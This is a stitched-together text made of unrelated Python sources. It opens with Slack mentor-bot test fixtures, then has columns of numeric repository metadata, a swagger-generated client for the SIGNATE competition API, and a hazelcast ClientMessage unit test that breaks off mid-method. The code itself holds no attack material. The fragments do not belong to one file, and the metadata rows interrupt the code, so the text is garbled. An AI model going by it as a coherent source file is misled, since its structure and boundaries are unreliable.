'rhoncus iaculis felis. Donec efficitur bibendum arcu, sed varius orci bibendum nec. Morbi ' \
'laoreet nunc nec urna pharetra viverra. Nulla vel magna ex. Fusce semper nisl commodo nulla ' \
'tempus, nec aliquam libero bibendum. Proin eleifend odio nec augue facilisis, nec faucibus ' \
'tortor venenatis. Pellentesque pulvinar erat nec justo bibendum blandit. Donec ut libero a ex ' \
'posuere euismod. Cras vitae turpis sit amet magna egestas vehicula. Maecenas interdum commodo ' \
'quam, vitae ornare mauris viverra vel. In vestibulum enim pulvinar, pharetra augue a, ' \
'tempor felis. Proin vel cursus tellus. Quisque eget mauris neque. Cras eu pharetra leo. Nam ' \
'nulla tortor, imperdiet sit amet dictum eu, mollis id ante.'
MENTOR_REQUEST_ATTACHMENT = [
{
'text': '',
'fallback': '',
'color': '#3AA3E3',
'callback_id': 'claim_mentee',
'attachment_type': 'default',
'actions': [
{
'name': 'fakerec',
'text': 'Claim Mentee',
'type': 'button',
'style': 'primary',
'value': f'mentee_claimed',
}
]
}
]
CLAIM_MENTEE_EVENT = {'type': 'interactive_message',
'actions': [{'name': 'rec7pRh2FwyO4nP2W', 'type': 'button', 'value': 'mentee_claimed'}],
'callback_id': 'claim_mentee', 'team': {'id': 'T8M8SQEN7', 'domain': 'test'},
'channel': {'id': 'G8NDRJJF9', 'name': 'privategroup'},
'user': {'id': 'U11111', 'name': 'tester'},
'action_ts': '1521402127.915363', 'message_ts': '1521402116.000129', 'attachment_id': '1',
'token': 'faketoken', 'is_app_unfurl': False, 'original_message': {
'text': 'User <@U8N6XBL7Q> has requested a mentor for General Guidance - Slack Chat\n\nGiven Skillset(s): None given\n\nView requests: <https://airtable.com/tbl9uQEE8VeMdNCey/viwYzYa4J9aytVB4B|Airtable>',
'username': 'test2-bot', 'bot_id': 'B8N6Z8M8E',
'attachments': [
{'callback_id': 'claim_mentee', 'id': 1, 'color': '3AA3E3', 'actions': [
{'id': '1', 'name': 'rec7pRh2FwyO4nP2W', 'text': 'Claim Mentee', 'type': 'button',
'value': 'mentee_claimed', 'style': 'primary'}]}], 'type': 'message', 'subtype': 'bot_message',
'thread_ts': '1521402116.000129', 'reply_count': 1, 'replies': [{'user': 'B00', 'ts': '1521402117.000015'}],
'subscribed': False, 'unread_count': 1, 'ts': '1521402116.000129'},
'response_url': 'https://hooks.slack.com/actions/T8M8SQEN7/332727073942/JPnXPwSk8A5jffzf0DHuSnhS',
'trigger_id': '331226307360.293298830755.c73cad81aa525200275c2868dd168ab0'}
RESET_MENTEE_CLAIM_EVENT = {'type': 'interactive_message',
'actions': [{'name': 'rec7pRh2FwyO4nP2W', 'type': 'button', 'value': 'reset_claim_mentee'}],
'callback_id': 'claim_mentee', 'team': {'id': 'T8M8SQEN7', 'domain': 'test'},
'channel': {'id': 'G8NDRJJF9', 'name': 'privategroup'},
'user': {'id': 'U11111', 'name': 'tester'}, 'action_ts': '1521403472.901817',
'message_ts': '1521402116.000129', 'attachment_id': '1',
'token': 'faketoken', 'is_app_unfurl': False, 'original_message': {
'text': 'User <@U8N6XBL7Q> has requested a mentor for General Guidance - Slack Chat\n\nGiven Skillset(s): None given\n\nView requests: <https://airtable.com/tbl9uQEE8VeMdNCey/viwYzYa4J9aytVB4B|Airtable>',
'username': 'test2-bot', 'bot_id': 'B8N6Z8M8E', 'attachments': [{'callback_id': 'claim_mentee',
'text': ':100: Request claimed by <@U8N6XBL7Q>:100:\n<!date^1521402131^Greeted at {date_num} {time_secs}|Failed to parse time>',
'id': 1, 'color': '3AA3E3', 'actions': [
{'id': '1', 'name': 'rec7pRh2FwyO4nP2W', 'text': 'Reset claim', 'type': 'button',
'value': 'reset_claim_mentee', 'style': 'danger'}]}], 'type': 'message', 'subtype': 'bot_message',
'thread_ts': '1521402116.000129', 'reply_count': 1, 'replies': [{'user': 'B00', 'ts': '1521402117.000015'}],
'subscribed': False, 'unread_count': 1, 'ts': '1521402116.000129'},
'response_url': 'https://hooks.slack.com/actions/T8M8SQEN7/331230500336/J5MfM0OC6I37iV9xQSPqQ2UD',
'trigger_id': '332007136373.293298830755.614be10d27ebd4e3d22af708906f27e0'}
INVALID_MENTOR_ID_TEXT = f":warning: <@U11111>'s Slack Email not found in Mentor table. :warning:"
RESET_MENTEE_ATTACHMENT = [{'text': 'Reset by <@U11111> at <!date^11111^ {date_num} {time_secs}|Failed to parse time>',
'fallback': '', 'color': '#3AA3E3', 'callback_id': 'claim_mentee',
'attachment_type': 'default', 'actions': [
{'name': 'rec7pRh2FwyO4nP2W', 'text': 'Claim Mentee', 'type': 'button', 'style': 'primary',
'value': 'mentee_claimed'}]}]
SLACK_USER_INFO = {'user': {'profile': {'email': 'fake@email.com'}}}
| 77.361345
| 218
| 0.607539
| 974
| 9,206
| 5.652977
| 0.290554
| 0.023974
| 0.016346
| 0.022884
| 0.820196
| 0.814566
| 0.795496
| 0.766073
| 0.739194
| 0.71522
| 0
| 0.064272
| 0.268195
| 9,206
| 118
| 219
| 78.016949
| 0.753006
| 0
| 0
| 0.09434
| 0
| 0.04717
| 0.667391
| 0.01738
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e8a224b8e0b4468c099775245fa20bc6f2c5206f
| 28,562
|
py
|
Python
|
swagger_client/api/default_api.py
|
huyu398/signate-cli
|
680e3d3d7a66ef736030b7f06147366f3a528f3e
|
[
"Apache-2.0"
] | 1
|
2022-02-14T13:24:48.000Z
|
2022-02-14T13:24:48.000Z
|
swagger_client/api/default_api.py
|
huyu398/signate-cli
|
680e3d3d7a66ef736030b7f06147366f3a528f3e
|
[
"Apache-2.0"
] | 6
|
2020-09-24T09:10:36.000Z
|
2021-05-13T03:35:13.000Z
|
swagger_client/api/default_api.py
|
huyu398/signate-cli
|
680e3d3d7a66ef736030b7f06147366f3a528f3e
|
[
"Apache-2.0"
] | 8
|
2020-09-21T19:15:59.000Z
|
2021-07-08T09:59:52.000Z
|
# coding: utf-8
"""
SIGNATE API
API for Public # noqa: E501
OpenAPI spec version: 1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class DefaultApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def get_competition_files(self, competition_id, **kwargs): # noqa: E501
"""Return a list of the competition files # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_competition_files(competition_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: (required)
:return: Files
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_competition_files_with_http_info(competition_id, **kwargs) # noqa: E501
else:
(data) = self.get_competition_files_with_http_info(competition_id, **kwargs) # noqa: E501
return data
def get_competition_files_with_http_info(self, competition_id, **kwargs): # noqa: E501
"""Return a list of the competition files # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_competition_files_with_http_info(competition_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: (required)
:return: Files
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['competition_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_competition_files" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'competition_id' is set
if ('competition_id' not in params or
params['competition_id'] is None):
raise ValueError("Missing the required parameter `competition_id` when calling `get_competition_files`") # noqa: E501
collection_formats = {}
path_params = {}
if 'competition_id' in params:
path_params['competitionId'] = params['competition_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['bearerToken'] # noqa: E501
return self.api_client.call_api(
'/competitions/{competitionId}/files', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Files', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_access_token(self, email, password, **kwargs): # noqa: E501
"""Return a Token # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_access_token(email, password, async_req=True)
>>> result = thread.get()
:param async_req bool
:param string email: (required)
:param string password: (required)
:return: Token
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_access_token_with_http_info(email, password, **kwargs) # noqa: E501
else:
(data) = self.get_access_token_with_http_info(email, password, **kwargs) # noqa: E501
return data
def get_access_token_with_http_info(self, email, password, **kwargs): # noqa: E501
"""Return a Token # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_access_token_with_http_info(email, password, async_req=True)
>>> result = thread.get()
:param async_req bool
:param string email: (required)
:param string password: (required)
:return: Token
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['email', 'password', '_return_http_data_only']
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_access_token_with_http_info" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
body_params['email'] = params['email']
body_params['password'] = params['password']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/token', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Token', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_competitions(self, **kwargs): # noqa: E501
"""Return a list of competitions # noqa: E501
Every inactive competion has been filtered # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_competitions(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: Competitions
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_competitions_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_competitions_with_http_info(**kwargs) # noqa: E501
return data
def get_competitions_with_http_info(self, **kwargs): # noqa: E501
"""Return a list of competitions # noqa: E501
Every inactive competion has been filtered # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_competitions_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: Competitions
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_competitions" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['bearerToken'] # noqa: E501
return self.api_client.call_api(
'/competitions', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Competitions', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def post_competition_agreement(self, competition_id, **kwargs): # noqa: E501
"""Accept the competition terms of use # noqa: E501
User must accept each competition terms of use # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_competition_agreement(competition_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: (required)
:return: Success
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.post_competition_agreement_with_http_info(competition_id, **kwargs) # noqa: E501
else:
(data) = self.post_competition_agreement_with_http_info(competition_id, **kwargs) # noqa: E501
return data
def post_competition_agreement_with_http_info(self, competition_id, **kwargs): # noqa: E501
"""Accept the competition terms of use # noqa: E501
User must accept each competition terms of use # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_competition_agreement_with_http_info(competition_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: (required)
:return: Success
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['competition_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method post_competition_agreement" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'competition_id' is set
if ('competition_id' not in params or
params['competition_id'] is None):
raise ValueError("Missing the required parameter `competition_id` when calling `post_competition_agreement`") # noqa: E501
collection_formats = {}
path_params = {}
if 'competition_id' in params:
path_params['competitionId'] = params['competition_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['bearerToken'] # noqa: E501
return self.api_client.call_api(
'/competitions/{competitionId}/agreement', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Success', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def post_competition_file(self, competition_id, file_id, **kwargs): # noqa: E501
"""Return a file url # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_competition_file(competition_id, file_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: (required)
:param int file_id: (required)
:return: Downloads
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.post_competition_file_with_http_info(competition_id, file_id, **kwargs) # noqa: E501
else:
(data) = self.post_competition_file_with_http_info(competition_id, file_id, **kwargs) # noqa: E501
return data
def post_competition_file_with_http_info(self, competition_id, file_id, **kwargs): # noqa: E501
"""Return a file url # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_competition_file_with_http_info(competition_id, file_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: (required)
:param int file_id: (required)
:return: Downloads
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['competition_id', 'file_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method post_competition_file" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'competition_id' is set
if ('competition_id' not in params or
params['competition_id'] is None):
raise ValueError("Missing the required parameter `competition_id` when calling `post_competition_file`") # noqa: E501
# verify the required parameter 'file_id' is set
if ('file_id' not in params or
params['file_id'] is None):
raise ValueError("Missing the required parameter `file_id` when calling `post_competition_file`") # noqa: E501
collection_formats = {}
path_params = {}
if 'competition_id' in params:
path_params['competitionId'] = params['competition_id'] # noqa: E501
if 'file_id' in params:
path_params['fileId'] = params['file_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['bearerToken'] # noqa: E501
return self.api_client.call_api(
'/competitions/{competitionId}/files/{fileId}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Downloads', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def post_competition_files(self, competition_id, **kwargs): # noqa: E501
"""Return a list of file urls # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_competition_files(competition_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: Competition Identifier (required)
:return: Downloads
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.post_competition_files_with_http_info(competition_id, **kwargs) # noqa: E501
else:
(data) = self.post_competition_files_with_http_info(competition_id, **kwargs) # noqa: E501
return data
def post_competition_files_with_http_info(self, competition_id, **kwargs): # noqa: E501
"""Return a list of file urls # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_competition_files_with_http_info(competition_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: Competition Identifier (required)
:return: Downloads
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['competition_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method post_competition_files" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'competition_id' is set
if ('competition_id' not in params or
params['competition_id'] is None):
raise ValueError("Missing the required parameter `competition_id` when calling `post_competition_files`") # noqa: E501
collection_formats = {}
path_params = {}
if 'competition_id' in params:
path_params['competitionId'] = params['competition_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['bearerToken'] # noqa: E501
return self.api_client.call_api(
'/competitions/{competitionId}/files', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Downloads', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def post_competition_submit(self, competition_id, submission_file, **kwargs): # noqa: E501
"""Submit file to the competition # noqa: E501
Submit file relative to competition # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_competition_submit(competition_id, submission_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: (required)
:param file submission_file: (required)
:param str submission_note:
:return: Success
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.post_competition_submit_with_http_info(competition_id, submission_file, **kwargs) # noqa: E501
else:
(data) = self.post_competition_submit_with_http_info(competition_id, submission_file, **kwargs) # noqa: E501
return data
def post_competition_submit_with_http_info(self, competition_id, submission_file, **kwargs): # noqa: E501
"""Submit file to the competition # noqa: E501
Submit file relative to competition # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_competition_submit_with_http_info(competition_id, submission_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int competition_id: (required)
:param file submission_file: (required)
:param str submission_note:
:return: Success
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['competition_id', 'submission_file', 'submission_note'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method post_competition_submit" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'competition_id' is set
if ('competition_id' not in params or
params['competition_id'] is None):
raise ValueError("Missing the required parameter `competition_id` when calling `post_competition_submit`") # noqa: E501
# verify the required parameter 'submission_file' is set
if ('submission_file' not in params or
params['submission_file'] is None):
raise ValueError("Missing the required parameter `submission_file` when calling `post_competition_submit`") # noqa: E501
collection_formats = {}
path_params = {}
if 'competition_id' in params:
path_params['competitionId'] = params['competition_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'submission_file' in params:
local_var_files['submission-file'] = params['submission_file'] # noqa: E501
if 'submission_note' in params:
form_params.append(('submission-note', params['submission_note'])) # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['bearerToken'] # noqa: E501
return self.api_client.call_api(
'/competitions/{competitionId}/submission', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Success', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 39.179698
| 135
| 0.616588
| 3,212
| 28,562
| 5.215442
| 0.054795
| 0.050143
| 0.020774
| 0.030086
| 0.947648
| 0.939828
| 0.92771
| 0.917383
| 0.906996
| 0.896192
| 0
| 0.016056
| 0.293502
| 28,562
| 728
| 136
| 39.233516
| 0.814114
| 0.308837
| 0
| 0.775194
| 1
| 0
| 0.202122
| 0.053061
| 0
| 0
| 0
| 0
| 0
| 1
| 0.03876
| false
| 0.015504
| 0.010336
| 0
| 0.105943
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fa4748679fd06c4375cdd4960e40b6762b87cf78
| 120
|
py
|
Python
|
cvpl-mail/tests/__init__.py
|
robinsax/canvas-plugin-multirepo
|
20fd6a3cc42af5f2cde73e3b100d3edeb4e50c01
|
[
"Apache-2.0"
] | null | null | null |
cvpl-mail/tests/__init__.py
|
robinsax/canvas-plugin-multirepo
|
20fd6a3cc42af5f2cde73e3b100d3edeb4e50c01
|
[
"Apache-2.0"
] | null | null | null |
cvpl-mail/tests/__init__.py
|
robinsax/canvas-plugin-multirepo
|
20fd6a3cc42af5f2cde73e3b100d3edeb4e50c01
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
'''
Unit tests on the mail plugin for canvas.
'''
import canvas as cv
import canvas.tests as cvt
pass
| 12
| 41
| 0.708333
| 21
| 120
| 4.047619
| 0.761905
| 0.282353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010417
| 0.2
| 120
| 9
| 42
| 13.333333
| 0.875
| 0.466667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
d71db099ca97ca1b60bf1a791677e4ca9f9a7c91
| 120
|
py
|
Python
|
utils/Color.py
|
koking0/AlexYolo
|
4db9485b5d4ad88596d1079b644691ca9d90a859
|
[
"MIT"
] | null | null | null |
utils/Color.py
|
koking0/AlexYolo
|
4db9485b5d4ad88596d1079b644691ca9d90a859
|
[
"MIT"
] | null | null | null |
utils/Color.py
|
koking0/AlexYolo
|
4db9485b5d4ad88596d1079b644691ca9d90a859
|
[
"MIT"
] | null | null | null |
import random
def getRandomColor():
return random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)
| 20
| 81
| 0.716667
| 17
| 120
| 5.058824
| 0.470588
| 0.453488
| 0.488372
| 0.593023
| 0.593023
| 0.593023
| 0.593023
| 0.593023
| 0
| 0
| 0
| 0.116505
| 0.141667
| 120
| 5
| 82
| 24
| 0.718447
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
|
0
| 9
|
d73c90b6ecec986ccee2b3433d783b88b7533660
| 4,772
|
py
|
Python
|
tests/MessageTest.py
|
hazelcast-incubator/hazelcast-python-client
|
5ec6c908916a6adef648059314923c0dbf71557b
|
[
"Apache-2.0"
] | null | null | null |
tests/MessageTest.py
|
hazelcast-incubator/hazelcast-python-client
|
5ec6c908916a6adef648059314923c0dbf71557b
|
[
"Apache-2.0"
] | null | null | null |
tests/MessageTest.py
|
hazelcast-incubator/hazelcast-python-client
|
5ec6c908916a6adef648059314923c0dbf71557b
|
[
"Apache-2.0"
] | null | null | null |
__author__ = 'Jonathan Brodie'
from hzclient.clientmessage import ClientMessage
from hzclient.clientmessage import AuthenticationMessage
import unittest,ctypes
class ClientMessageTests(unittest.TestCase):
def testHeaderNormal(self):
msg=ClientMessage()
self.assertEqual(len(msg.encodeMessage()),msg.FRAME_SIZE)
def testDecoding(self):
msg=ClientMessage()
vr=0
optype=20
corrID=0
parID=-1
msg.setVersion(0)
msg.setFlagBoth()
msg.setOperationType(20)
msg.correlation=corrID
msg.setPartition(parID)
frame = bytearray()
#Create a byte array of size 18
frame+=bytearray(ctypes.c_int32(18))
frame+=bytearray(ctypes.c_uint8(vr))
frame+=bytearray(ctypes.c_uint8(192))
frame+=bytearray(ctypes.c_uint16(optype))
frame+=bytearray(ctypes.c_int32(corrID))
frame+=bytearray(ctypes.c_int32(parID))
frame+=bytearray(ctypes.c_uint16(18))
msg2=ClientMessage.decodeMessage(frame)
self.assertEqual(msg.encodeMessage(),msg2.encodeMessage())
def testEncoding(self):
msg=ClientMessage()
vr=0
optype=200
corrID=0
parID=-1
msg.setVersion(vr)
msg.setFlagBoth()
msg.setOperationType(200)
msg.correlation=corrID
msg.setPartition(parID)
frame = bytearray()
#Create a byte array of size 18
frame+=bytearray(ctypes.c_int32(18))
frame+=bytearray(ctypes.c_uint8(vr))
frame+=bytearray(ctypes.c_uint8(192))
frame+=bytearray(ctypes.c_uint16(optype))
frame+=bytearray(ctypes.c_int32(corrID))
frame+=bytearray(ctypes.c_int32(parID))
frame+=bytearray(ctypes.c_uint16(18))
self.assertEqual(frame,msg.encodeMessage())
def testEncodingWithPayload(self):
msg=ClientMessage()
vr=0
optype=200
corrID=0
parID=-1
msg.version=vr
msg.optype=optype
msg.correlation=corrID
msg.partition=parID
msg.setPayload(bytearray(ctypes.c_uint32(4203239)))
frame = bytearray()
#Create a byte array of size 18
frame+=bytearray(ctypes.c_int32(18+4))
frame+=bytearray(ctypes.c_uint8(vr))
frame+=bytearray(ctypes.c_uint8(192))
frame+=bytearray(ctypes.c_uint16(optype))
frame+=bytearray(ctypes.c_int32(corrID))
frame+=bytearray(ctypes.c_int32(parID))
